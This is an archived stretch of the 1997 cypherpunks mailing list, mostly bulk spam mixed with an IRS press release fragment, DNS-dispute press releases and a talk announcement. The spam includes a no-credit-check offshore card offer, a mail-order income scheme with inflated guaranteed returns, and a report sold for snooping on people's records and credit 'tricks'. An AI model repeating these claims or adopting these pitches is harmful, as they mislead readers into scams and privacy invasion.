cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jackimg@hotmail.com
Date: Thu, 17 Jul 1997 12:02:53 -0700 (PDT)
To: friend@public.com
Subject: The information you requested.
Message-ID: <199706190025.GAA08056@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Thank you for your recent inquiry.  Here is the
information you requested:

Emailing Works - Put It To Work
For You - This Special Can Put You Into 
Business Or Promote Your Existing 
Internet Business.

For a limited time only:

****CD Rom Email Addresses Lists 
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(Includes both Emailing Software and
"Extraction" Software - Extract Your Own
Specialty Lists With Keyword Search Of The
WWW or Extract Your List From Newsgroups)
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We reserve the right to terminate this
offer at any time, without notice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 95455180@zignzag.com
Date: Thu, 17 Jul 1997 20:41:54 -0700 (PDT)
To: Friend@public.com
Subject: Credit Card$$$  NO Credit Check,,,,,,Make MoNeY!!
Message-ID: <3472654.0219GAA@zignzag.com>
MIME-Version: 1.0
Content-Type: text/plain


=> $5000 Major Credit Card With Absolutely NO CREDIT CHECK!
=> Don't Even Need A Social Security Number!

I hope this information will be helpful to you.
You will not receive any more emails from me.  
If you want removed just reply with remove as your subject.

Thank you for your time

=> No Gimmicks - New Offshore Banking Venture!
=> Seeing Is Believing! Go to-
=> http://zignzag.com/pages/credit.htm
=> email  tpn@zignzag.com

Offshore Banking Consortium will revolutionize 
credit card market worldwide by offering a major
credit card to all comers.No credit check of any kind!

Literally ANYONE, anywhere in the world qualifies!

They will approve you for a $5000 card, or send you $500
if you are not approved! When they say everyone, they mean it!

Get your card now and earn income referring others. This has
just been released and will be advertised heavily in the
coming weeks.

Print your simple application now
=> http://zignzag.com/pages/app.htm

OR
=> email  kallen@zignzag.com

     ________________________________________________       
       __|          New Credit Industry Is Born Offshore!          |__    
      (___O)             GMG Offshore Credit Cards                (O___)  
     (_____O)                     Presented By:                        (O_____)   
     (_____O)                                                                   (O_____) 
            (__O)  => http://zignzag.com/pages/credit.htm  (O__)  
    |_________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: entreprenuers@juno.com
Date: Fri, 18 Jul 1997 06:29:28 -0700 (PDT)
To: entreprenuers@home_employ.net
Subject: $140/day, Full 90 Day Guarantee!!!
Message-ID: <011297055501222@g_fantasm.com>
MIME-Version: 1.0
Content-Type: text/plain



(***This is a one time only, limited offer.  You will not receive it again.  If I
do not hear from you, your name is automatically removed from my list.  Due
to overwhelming response, I must also limit the number of people allowed in
my program to preserve market effectiveness.***)

ALL I DO IS MAIL OUT 10 OF THE EXACT SAME SALES LETTER EVERY DAY!!    
                   
That is all that I do! I earn $140, $200, even $250 and more a day mailing out
the exact same sales letter. There is absolutely no catch or crazy gimmick
involved here, I promise you. This has nothing whatsoever to do with any 
ridiculous envelope stuffing program, illegal chain-letter scam, get rich quick
or worthless multi-level scheme!
 
There is not an easier or simpler way to make $140+ a day than this...
-- there can't be -- it's impossible! If you would like to retire on $140, $200, 
even $250 and more a day working only 1 hour each day then listen up...
  
I tried every money making plan under the sun. after three years of constant
attempts at striking it rich, I had done nothing but strike out.
 
I tried multi-level marketing... I failed!    
I tried chain letters... They failed me!
I tried envelope stuffing... What a joke!
I tried nine other various business ventures...
  
I was a fool. I didn't make much money. I can admit it, I was not the greatest
business person. I needed a way of making money that couldn't fail.
 
I worked hard about 50 hours a week cleaning houses. Many of my
customers were very wealthy. One of which was a thirtyish guy who drove
around in a Ferrari Testarossa. After cleaning his home he gave me the 
usual $20.00 tip and I asked him what he thought of the soap business. He 
started laughing so hard.

I'll never forget what he said, " Get a clue friend. You want to sell soap door
to door?  Did the fumes from your window cleaner go to your head or
something?  Someday when your serious about making money...
-- REAL Money -- call me and I will take you to school." I told him that I was
ready now and he said, " I don't have time today, but think about this. Why
sell soap?

People all over town sell it. No one could really care less where they got it
from.  Give people something that they want. I mean want bad, and be the 
only one with it. Think about that and come by the house tomorrow morning."
As he drove away, he stopped, smiled and said, " Wake up pal, valuable 
information sells."  I was dumbfounded. What did he mean? What was he 
talking about?
  
The next morning he gave me the information that would change my life!  In
thirty minutes he showed me a little known method that anyone can use to 
start making over $140 a day. At first I was skeptical. Who wouldn't be? His 
proven method was like nothing I had ever seen or heard of before.
  
Now I make over $140 a day working from home, at my leisure. It's so 
simple.  I sell information in a unique and exciting way. Every body wants it, 
only I can provide it!  I have even started my own little business doing 
exactly what I have described.  I have NEVER made less than $140 a day!
Most of the time it is much more...
 
"$2,500 a month "Guaranteed!!"  All you have to do is mail out my 
special sales letter which will be sent to you. You simply mail out 10 of 
these letters every day! ( 10 letters mailed = 7 responses). What I am trying
to say here is that my special sales letter pulls 70% orders.
 
Almost every sales letter you mail will bring back $20!  Other direct mailings 
get only 2% - 3% sales response, we get up to 70%! That's correct! This 
sales letter is a powerful money magnet. It's success has been fantastic. A 
test of your own will show that you will receive at least 7 customers for every
10 letters that you mail. Fantastic but true. Now you can make a fortune all
year round... every year.

The cost of my "Every-Day Cash Plan" is only $19.95, but it is worth much 
more than that because of it's success. Don't let the price of my "Every-Day 
Cash Plan" fool you. This is opportunity knocking! Don't pass it by. You will 
not receive this offer again! I'll send you everything to help you start making 
big money right away. I've compiled all of the information that you need to 
succeed in this business.
 
Try this test... send out 50 letters a week for a month... that's 200 sales 
letters. You will receive about 140 responses on a steady flow. This 
corresponds to about $3,200 a month if you only  send out 50 letters a week!
The success of the "Every-Day Cash Plan" will blow your mind when you ar
e receiving $20 checks and money orders by the dozen every day!! $2,500
a month Guaranteed!!
 
So if you'd like to earn thousands from "Every-Day Cash Plan"... take that first
important step. Simply fill in the order form below. I'm here waiting to help you
every step of the way.


***FREE BONUS***FREE BONUS***FREE BONUS***

For all orders received before:  July 26, 1997, I am going to include a
Professional Mass E-Mail program to help you in your Internet business.
This is the same program used by the majority of today's most successful
entreprenuers on the Internet.  If you were to purchase it seperately, it would
cost you $295.00 U.S. dollars.  I want you to succeed!

Sorry "mac" users, software included in this package NOT "mac" compatible.

Users must have an IBM compatible computer with Windows installed,
any version.  Internet access is also required, WebTV NOT compatible.

***Send all correspondance to:  success@gox.com.***
___________________________________________________________
                                           NO RISK ORDER FORM

I accept personal checks, business checks, money orders, Visa, Discover,
Mastercard, and American Express.
 
Make check or money order payable and mail to:

Mrs. Dianne Flanagan
The G.O.X. Group
6549 Mission Gorge Road
Suite 279
San Diego, California
92120
                                                                              
 
Dear Dianne, I want to receive $140, $200, even $250 and more every time
I mail out 10 of the exact same sales letter that you will supply. Please rush
me your "Every-Day Cash Plan" By first class  mail and if I don't make at
least $140 a day mailing your special sales letter, I can return your materials
within 90 days for a complete refund. On that basis, I have enclosed $19.95
U.S. plus $3.50 U.S. first class mail. ( total $23.45 U.S.) Visa, Mastercard, 
Discover, American Express, check or money orders only.  Please Do Not 
Send Cash!

Credit Card orders processed 24 hours per day, seven days per week!
Simply e-mail back the completed order form below.  

***Send all e-mail orders to:  orders@gox.com.***

Thank you!

(If paying by credit card, please make sure that your Name and Address
information is the same as on your credit card and statement.  We cross 
validate for your protection.  Thank You.)

Note:  Credit Card Fraud Is A Felony And We Will Prosecute All Offenders! 
 
Name:  _______________________________________________________
 
Address:  _____________________________________________________
 
City: _________________________________________________________
 
State/Province:  __________________ Zip/Postal code:  _______________
 
Country if other than U.S.:  _______________________________________ 
 
E-mail address:________________________________________________

If applicable:

Credit card type: (Visa, Mastercard, Discover, American Express).

_____________________________________________________________

Credit card number:

___________________________________Expiration date:_____________

Name as it appears on credit card:

_____________________________________________________________
 
1997 Stefanie Aquino, The G.O.X. Group.  ALL ORDERS ARE SHIPPED BY
FIRST CLASS MAIL AND ARE GUARANTEED FOR 90 DAYS. PLEASE DO NOT
SEND CASH! 
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 08:54:54 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: No Subject
Message-ID: <v031107baaff53c2d049e@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Hi everyone,


Well, I guess it's official now. I'm going to speak at MacWorld on Thursday
the 7th.

If your planning to go to MacWorld, feel free to stop by and talk about e$
and financial cryptography on the Macintosh.

> ----------------------------------
> * DIGITAL COMMERCE FOR THE REST OF US [Session 92, Thursday 8/7, 4:00-5:15
> pm, World Trade Center] -- What are the fundamental forces in the technology
> of digital commerce? What effect will digital commerce have on society? What
> are Mac's strengths are in this environment? What are some very specific
> things that Apple and the Macintosh community can do, right now, to
> participate as a full partner in the development of digital commerce on
> public networks? What are the technologies that Mac people should concentrate
> on to be first movers in the new geodesic economy? Solo Speaker: BOB
> HETTINGA, Freelance Digital Commerce Analyst, e$, 44 Farquhar Street, Boston,
> MA 02131; http://www.shipwright.com/
> ----------------------------------

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgp@pgmedia.net (pgMedia)
Date: Fri, 18 Jul 1997 12:42:30 -0700 (PDT)
To: info@pgmdia.net
Subject: PGMedia Comments on the Failure of the NSI-Controlled DNS System
Message-ID: <1342883289-597806@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


FOR IMMEDIATE RELEASE: NATIONAL DISTRIBUTION:
_____________________________________________

PGMedia Comments on the Failure of the NSI-Controlled DNS System



(New York, New York) The breakdown of the Internet's Domain Name
System ("DNS") yesterday, purportedly caused by human error at
Network Solutions, Inc. ("NSI") as well as NSI's antiquated
hardware, brought internet traffic to a crawl.  This and other
recent troubles that NSI has experienced in its operation of the
Internet's Domain Name System are textbook examples of a
monopolist's inertia in developing new and more secure systems
to preserve and protect the integrity of the central facilitator
of the Internet.  The end-users of the Internet demand and
deserve better.  In NSI's desire to protect its monopoly
profits, particularly in view of its stated intention to offer
public stock based on that artificially inflated cashflow, NSI
has placed the entire Internet at risk. NSI's intransigence to
the change demanded by PGMedia, Inc. d/b/a name.space in the
antitrust litigation commenced in Federal Court in New York has
also led to the recently reported investigation by the U.S.
Department of Justice for NSI's alleged antitrust violations.



PGMedia, through its name.space service
(http://namespace.pgmedia.net), has developed and implemented a
rationalized Top-Level-Domain system that allows for
registration under unlimited TLDs such as ".art" "news"
".cameras", ".inc" ".sports" and ".weather". The name.space
service is housed on a state of the art network with thirteen
root servers located in five countries. The name.space system
has been fully operational since August 1996, and was not
affected by the "human error" which ground NSI's system to a
halt yesterday. If end-users of the Internet wish to secure for
their own use, and at no cost, a far more reliable DNS system,
all they need do is access the above-referenced URL and follow
the simple steps therein to redirect their default TCP name
server addresses to the name.space network.



In addition, PGMedia believes that the name.space shared product
and service oriented TLDs, when fully resolvable, will open up
the Internet to far greater commercialization and render the
wealth of information on the Internet far more accessible to the
end-user.  PGMedia's demand for access to the central root zone
file exclusively controlled by NSI which would render PGMedia's
TLD's and the domain names registered thereunder universally
resolvable is currently pending consideration by The Honorable
Robert P. Patterson, Jr., U.S.D.J., in Federal Court in New
York. PGMedia also wishes to stress that it has no affiliation
with and does not support the anticompetitive approach
propounded by the loose group of purported registrars known as
"eDNS."



For more information, please contact the PGMedia, Inc. legal
counsel at mjd@pgmedia.net; the Amended Complaint in the
above-referenced Federal Antitrust Action may be viewed and
downloaded at http://namespace.pgmedia.net/law






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 83751386@uu.net
Date: Sat, 19 Jul 1997 23:27:49 -0700 (PDT)
To: at.916.876.4285@uu.net
Subject: ARE YOU BEING INVESTIGATED ????
Message-ID: <777gy7qweyt223m76.26666665@free.speach.com>
MIME-Version: 1.0
Content-Type: text/plain





ARE YOU BEING INVESTIGATED????



Learn the Internet tools that are used to investigate you, your 

friends, neighbors, enemies, Employees or anyone else!  My huge 

report "SNOOPING THE INTERNET" of Internet sites will give you...


* Thousands of Internet locations to look up people, credit, 

Social security, current or past employment, Driving records, 

medical information, addresses, phone numbers, Maps to city 

locations...



Every day the media (television, radio, and newspapers) are full 

of stories about PERSONAL INFORMATION being used, traded, and sold 

over the Internet... usually without your permission or knowledge. 

With my report I show you HOW IT'S DONE!!!
	

It's amazing..

	

Locate a debtor that is hiding, or get help in finding hidden assets.



*   Find that old romantic interest.


*   Find e-mail, telephone or address information on just about 

     anyone! Unlisted phone numbers can often be found through 

     some of these sites!!



Perhaps you're working on a family "tree" or history. The Internet 

turns what once was years of work into hours of DISCOVERY & 

INFORMATION.




      Check birth, death, adoption or social security records.


MILITARY

      Check service records of Army, Navy, Air Force or Marine 

      Corps. Find out who's been telling the truth and who's been 

      lying. Perhaps you can uncover the next lying politician!!!
 


FELLOW EMPLOYEES;


* Find out if your fellow employee was jailed on sex charges, or   

  has other "skeletons" in the closet!!



PERFORM BACKGROUD CHECKS;
  
   Check credit, driving or criminal records, Verify income or 

   educational claims, Find out Military history and discipline, 

   previous political affiliations, etc.


YOUR KID'S FRIENDS;


   Find out the background of your children's friends & dates.


WHATS THE LAW? STOP GUESSING!!


* Look up laws, direct from law libraries around the world. Is 

  that new business plan legal?? 




NEW JOB?  NEW TOWN?  NEW LIFE?

   Employment ads from around the world can be found on the 

   Internet. Get a new job and disappear!



The Internet can tell you just about ANYTHING, if you know WHERE 

to look. 



BONUS REPORT!!!!


Check your credit report and use the Internet to force credit 

bureaus to remove derogatory information. My special BONUS REPORT 

included as part of the "SNOOPING THE INTERNET" collection reveals 

all sorts of credit tricks, legal and for "information purposes 

only" some of the ILLEGAL tricks.


Research YOURSELF first!


What you find will scare you.


If you believe that the information that is compiled on you should 

be as easily available to you as it is to those who compile it, 

then. . .

You want to order the SNOOPING THE INTERNET report I've put 

together.


This huge report is WHERE YOU START! Once you locate these FREE 

private, college and government web sites, you'll find even MORE 

links to information search engines!

YOU CAN FIND OUT ANYTHING ABOUT ANYBODY ANY TIME using the Internet!!!!

  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
        TYPE OF CARD  AMX/VISA/MC??____________________
 
        NAME ON CREDIT CARD___________________________
 
       CREDIT CARD #___________________________________
 
        BILLING ADDRESS ________________________________
 
        CITY_____________________________________________
 
        STATE________________ZIP________________________
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 39.95 to your account
 
        SALES TAX (2.90) added to CA residents 
 
  >>> Send $39.95 ($42.85 in CA) cash, check or money order to:
  >>> CASINO INVESTIGATIONS
  >>> Background Investigations Division
  >>> 311 Nord Ave.
  >>> P.O. Box 4139
  >>> Chico, CA 95927-4139
)))))


  2) Send the same above requested credit card information to above address. 


   3) Fax the same above credit card information to 916-895-8470

   4) Call phone # 916-876-4285.  This is a 24 hour phone number to          

      place a CREDIT CARD order.

 I will RUSH back to you SAME DAY my "SNOOPING THE INTERNET" report!

Log on to the Internet and in moments you will fully understand...

 What information is available -- and exact Internet site to get there!

2nd BONUS!!!!


Along with the report we will send a 3 1/2" disk with sites 

already "HOT LINKED". No need to type in those addresses. Simply 

click on the URL address and "PRESTO" you are at the web site!!! 


Personal ads, logs of personal e-mail, mention of individuals

anywhere on the Internet are "your for the taking" with this 

report.


Lists of resources to find even more information (private

Investigation companies, etc..) 


   Order surveillance equipment (if legal in your state)
  

Send anonymous e-mail
   
Research companies 

Research technology

Locate military records

 
FIND INFORMATION ON CRIMINALS 

   Find Wanted fugitives - perhaps even a close associate!

ABSOLUTE SATISIFACTION GUARANTEED:

Your satisfaction is 100% guaranteed, just return the material
For a full refund within 30 days if you aren't 100% satisfied.


Copyright 1997 All Rights Reserved

R Jon Scott Hall Publications. 



  THIS IS NOT A  FRANK MULLEN / CYBER PRODUCTS / SPYMASTER  PUBLICATION














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: loveinlife919@usa.net
Date: Sat, 19 Jul 1997 23:00:06 -0700 (PDT)
Subject: No Subject
Message-ID: <164894629046.MSQ23863@usa.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
       
          ATTRACT AND DATE THE
                           BEAUTIFUL WOMEN OF YOUR DREAMS WITH AN
                                        INCREDIBLE NEW STEP BY STEP BOOK!

     If you have all the beautiful, sexy women you want in your life, read no
further. If you are ready to make some major changes in your love life and
you want to start dating more beautiful women than you ever believed
possible... READ ON!

     Would you like to stop making the same mistakes 90% of the other guys
are making? Would you like to be the man an attractive woman chooses over
all the rest? Is it really possible to date ALL the sensational women you want?
YES! You too can easily date beautiful women! Learn the secrets of success
and you can easily attract the exciting women of the 90's!
 
     Now, you can be that man who stands out when it comes to women. You can
be the man who walks confidently up to a gorgeous woman and soon has her
totally charmed! Believe it or not, with the strategies in this book, any
man can quickly and easily learn what it takes to attract beautiful women
and keep their affections!
 
     What you'll learn in the few hours it takes to read our book will change
your life! It doesn't matter what kind of success you've had with women in
the past. This information will enable you to attract more beautiful, sexy
women than you can handle! Don't spend another night alone - you can change
your life and be meeting attractive women NOW! 

        Don't pass up this opportunity to learn the simple secrets about women 
that will turn your love life around! You can use these methods on women you've 
just met or women you've known for years - they will work for you time after time! 
What really attracts gorgeous women and turns them on is very different than
what you've been told. We offer you a training program with proven step by
step guidelines for getting all the women you want! Here are just some of
the things you will learn:

  *   The fatal mistake 90% of men consistently make with women, ruining
their chances every time. Changing this one thing will guarantee more
success than you've ever had before!

  *    How to approach an attractive woman so she'll want to meet you
(...and what drives women away.)

  *    What you can do to attract beautiful women like a magnet!

  *    How to "break the ice" and how to talk to attractive women....
including what to say and what not to say.

  *    How to turn a "no" into a "YES" when you ask her out.

  *    Where to go and what to do (and not do) on a first date.

  *    How to get her to WANT to date you again.

  *    How to overcome the fear of rejection and gain confidence in any
social situation.

  *    How to avoid wasting your time and money on the wrong woman.

  *    How to develop lasting relationships. 
   

   This powerful, practical guide will reveal the facts... facts like...

"Men ar basically visually stimulated while women are basically emotionally 
stimulated" Knowing what this really means and how it applies makes
a huge difference in YOUR love life!

 This step by step book covers everything from when and where to meet a 
desirable woman, to enjoying a successful, lasting relationship. You will see 
through the illusions you've been taught to believe. We do not offer gimmicks 
or vague advice. In simple, easily understood language you will learn what 
really works and how you can easily duplicate these proven techniques. You 
will find chapter after chapter of specific information; we eliminate the guess work,
confusion, and frustration. We teach you, step by step, how to utilize the
way you present yourself to your own best advantage, making you
irresistible to today's beautiful, sexy women! You'll be amazed how easy it
really is to charm attractive women! 

     For less than it costs for dinner and a movie, you can be on your way
toward attracting and dating beautiful women. This book will literally save
you money and pay for itself many times over! This book is available for
only $49.95, but if you order within 10 days you only pay $24.95! We are so
sure you will find this book immediately useful, we offer you a full 90 day
money back guarantee - no questions asked - so how can you lose? This
manual could make the difference in your life... the difference between
having beautiful women in your life or just dreaming about them!

    PLUS, if you order now, as an added bonus you will receive absolutely
FREE the fantastic new report "Rapid Start Dating Guide" 

     If, after examining this book, you are not completely satisfied and
ready to put these steps into action, you can return it for a full refund!
Try our step by step approach presented to you for 90 days and are not 
meeting and dating more women, you can return this book in good condition, 
for a full refund... no questions asked. Either way, the free report is yours to 
keep!

                                Order the book now!!
         

                                        (Cut here)
-------------------------------------------------------------------------------------------------

          MEET, ATTRACT AND DATE GORGEOUS WOMEN!!!
    
                       BOOK ORDER INFORMATION


 THE BOOK YOU WISH TO ORDER IS (US) $49.95 EACH
 HOWEVER DURING OUR SPECIAL INTRODUCTORY OFFER
 FOR THE NEXT 10 DAYS.....

 YOU CAN ORDER IT NOW FOR ONLY (US) $24.95 EACH !!!
 
 SHIPPING COSTS:
               USA, Canada & Mexico
               $24.95       add     $3.50     (Add US$12 for International)
               for shipping and handling.

 PLEASE ENTER YOUR TOTAL HERE:  ___________________
  
 

 **********************************************************
 ** Please give us your name, E-mail address, and the postal ** 
 ** address where you would like your book order to be sent.  **
 **********************************************************


YOUR FULL NAME: ____________________________________________

YOUR E-MAIL ADDRESS: _______________________________________

YOUR TELEPHONE NUMBER: ___________________________________

YOUR FULL MAILING ADDRESS(Including City, State, Postal Code & Country):

                _____________________________________________________

                 _____________________________________________________

                 _____________________________________________________

 ***************************
 *** PAYMENT INFORMATION ***
 ***************************

METHOD OF PAYMENT:
^^^^^^^^^^^^^^^^^
	___ Master Card
	___ Visa
	___ American Express
	___ Check 
                ___ Money Orders

CREDIT CARD INFORMATION:
^^^^^^^^^^^^^^^^^^^^^^^
  NAME AS IT APPEARS ON CARD: ____________________________________
  
  ACCOUNT NUMBER ON CARD: ______________________________________

  EXPIRATION DATE ON CARD: _______________________________________

  SIGNATURE: _____________________________________________________

 ADDRESS WHERE YOU RECEIVE YOUR CREDIT CARD STATEMENTS:

  _______________________________________________________________
 

PAYING BY CHECK: (US Currency)
^^^^^^^^^^^^^^^

  Please make checks payable and mail orders to:

  
                M.J.H.
                PO Box 14909
                San Luis Obispo, CA  93406-4909
   

    ALL orders must be postal mailed!

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Mon, 21 Jul 1997 03:13:51 -0700 (PDT)
To: cypherpunks-unedited-outgoing@toad.com
Subject: No Subject
Message-ID: <199707211013.DAA16044@f19.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubscribe cryptography-politics-pgp-l

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgp@pgmedia.net (pgMedia)
Date: Mon, 21 Jul 1997 00:42:23 -0700 (PDT)
To: info@pgmedia.net.net
Subject: Nameserver Cache Contamination by Alternic is Irresponsible Practice
Message-ID: <1342668071-308338@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


To All System Administrators:

I recommend that you restart all of your nameservers
to clear out their caches...

Alternic has cached bogus information
on your servers and others, rerouting
www.internic.net to www.alternic.net
and www.netsol.com to www.alternic.net
as well as causing failures to resolve other
addresses.

I find this practice by Alternic IRRESPONSIBLE
as sets a negative example for the independent
NameService Providers.

Name.Space does not in any way support this
IRRESPONSIBLE PRACTICE or any TRAFFIC HIJACKING
of any kind.

Name.space disclaims any connection whatsoever to
"Alternic", "eDNS", or any of their affiliates, nor
does name.space endorse any of the policies of the
aforementioned entities.

Name.space is committed to RESPONSIBLE PRACTICE
in providing nameservice in the interests of the
international public and in keeping the toplevel
namespace in the public domain.

regards,

Paul Garrin
name.space
http://namespace.xs2.net

see related articles:
http://namespace.xs2.net/media






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Barrons Online <barrons@LISTSERV.DOWJONES.COM>
Date: Tue, 22 Jul 1997 16:21:43 -0700 (PDT)
To: BARRONS-ANNOUNCE@LISTSERV.DOWJONES.COM
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: <v03102804affa6fbca08e@[143.131.147.65]>
MIME-Version: 1.0
Content-Type: text/plain


Dear Barron's Online subscriber:

By now we hope you've heard about the changes coming to Barron's Online
later this week. This is a final reminder that, effective Friday, July 25,
Barron's Online will be available only to subscribers to The Wall Street
Journal Interactive Edition. (If you've already signed up for the
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also must be a new Interactive Journal subscriber.

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We believe that the combined efforts of the Interactive Journal and
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjuy7685tif@aol.com
Date: Mon, 21 Jul 1997 16:05:18 -0700 (PDT)
To: 5666@d564390.comcom
Subject: 1-800-811-2141 code 20477
Message-ID: <199603170067.GAA098056@d564390.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Make Money Promoting
This Toll-Free Number
1-800-811-2141 code 20477

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jack@intmktgrp.com
Date: Tue, 22 Jul 1997 11:29:33 -0700 (PDT)
To: friend@public.com
Subject: CD Rom - Email List
Message-ID: <199707190025.GAA08056@intmktgrp.com>
MIME-Version: 1.0
Content-Type: text/plain


25 Million Addresses On CD Rom - Only $199.00


500+ Reports, Books, & Legal Forms 
(With Reprint Rights To Put You Into Your
Own Home-Based Business Overnight)
Only $199.00


Target Email Address Lists - Call For Quotation


VISA & Mastercard Accepted -

Call 812-597-1000




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promotions@web-promotions.com
Date: Wed, 23 Jul 1997 20:59:11 -0700 (PDT)
To: promotions@web-promotions.com
Subject: REFFERAL REWARDS ( NOT CLUBPIX )
Message-ID: <199707232100.RAA26395@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Attention Adult Webmaster:

We Want YOU To Be A Part of US!

This is NOT a Click Thru Program, nor a Limited Money Making MLM
Program!

This is YOUR opportunity to get what you deserve!

REFERRAL REWARDS!!!!!!

WEG Inc. has designed a referral program that rewards the Adult Webmasters for their hard work and dedication to their site.  This program has been in operation since mid April to a select few and is now ready for full operation and distribution.  Payment references from some bigger adult
webmasters that are involved in the program are available upon request!

Here's How It Works:

Basically our program allows you to promote our site but you the webmaster receives your own link, with your own assigned script code.  The script code is how we determine who's signup is who's!  So in reality you can consider it your site, it's just that you don't have to waste your time and energy updating material, buying material, and maintenance of your site! Not to mention 
bandwidth costs! We do all the grunt work!

Heres what you get:

For every signup, you receive 40% commission.  
We charge a retail of $19.95 per signup, per month.
So that gives you a net of $7.98 per signup.
Now here's where it really gets good...

RECURRING REVENUE!!!!!!

That's right, the webmaster not only receives the initial 
commission of $7.98 (40%), but they also get the recurring revenue.

So every month for each referral that has signed up and stays a member 
you keep getting the recurring billing - $7.98 (40%).

ALL COMMISSIONS ARE PAID OUT WEEKLY!!!

All webmasters will receive a check every week for what ever commission 
is owed to their account.  Doesn't matter if you had 1 signup for that
weekly pay period.  You get a check every week!

900 ACCESS SIGNUPS TOO!

We have the ability to assign each webmaster that signs up to our
program their own 900 Access number. But the problem we run into is that we have 
to pay $10 per 900 number. It doesn't sound like much, but when you have 
over 100 people involved in the program and some people are doing
signups and some aren't, it doesn't make sense to order a whole bunch of 900
lines and they won't even be utilized. So this is what we have decided to do.

We will use one universal 900 number. If you had 10 credit card signups
for the one week pay period and all webmasters combined had 100 signups,
your cut of the 900 revenue will be 10%. 

If you are absolutely serious with our program and feel you will warrant
the need for your own 900 Access number, we will assign your account your
own personal 900 number free of charge.  

ONLINE STATS

Online stats are available to each Referral Rewards member.  So you will
always be able to check your stats.

STOP WASTING YOUR TRAFFIC!!!

So what are you waiting for?  Start maximizing your traffic today!
Sign up to our Referral Rewards program and start collecting the
revenue you truly deserve.  

Signup Page
http://www.weginc.com/referral/signup.html

Referral Rewards Main Site and More Info
http://www.weginc.com/referral/

If you should have any questions, please feel free to email us at rewards@900.net.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 8051172@prodigy.net
Date: Wed, 23 Jul 1997 21:59:06 -0700 (PDT)
To: yourbox@aol.com
Subject: Extra Income
Message-ID: <0000000000.AAA000@prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#ffffdf">
***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

